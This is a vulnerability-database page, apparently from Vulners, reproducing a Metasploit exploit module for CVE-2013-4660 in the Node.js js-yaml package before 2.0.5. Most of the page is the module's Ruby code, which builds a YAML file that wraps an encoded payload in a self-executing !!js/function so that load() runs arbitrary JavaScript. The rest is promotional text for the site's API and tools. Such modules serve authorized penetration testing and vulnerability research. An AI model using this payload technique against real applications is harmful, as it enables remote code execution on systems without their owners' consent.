Lucene search
K

Nodejs js-yaml load() Code Execution

🗓️ 16 Sep 2013 18:37:16Reported by Neal Poole, joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

Nodejs js-yaml load() Code Execution. Abuses js-yaml package < 2.0.5 to execute arbitrary JavaScript code.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nodejs js-yaml load() Code Execution',
      'Description'    => %q{
        This module can be used to abuse node.js applications that parse user-supplied YAML input
        using the load() function from the 'js-yaml' package < 2.0.5, which doesn't properly handle
        the unsafe !!js/function tag, allowing to specify a self-executing function which results
        on execution of arbitrary javascript code.
      },
      'Author'         =>
        [
          'Neal Poole', # Vulnerability discovery
          'joev' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2013-4660'],
          ['OSVDB', '94656'],
          ['BID', '60867'],
          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
        ],
      'Platform'       => 'nodejs',
      'Arch'           => ARCH_NODEJS,
      'Privileged'     => false,
      'Targets'        =>	[['Automatic', {}]],
      'DisclosureDate' => '2013-06-28',
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
    ])
  end

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function >\n  (function(){ #{p} })();")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation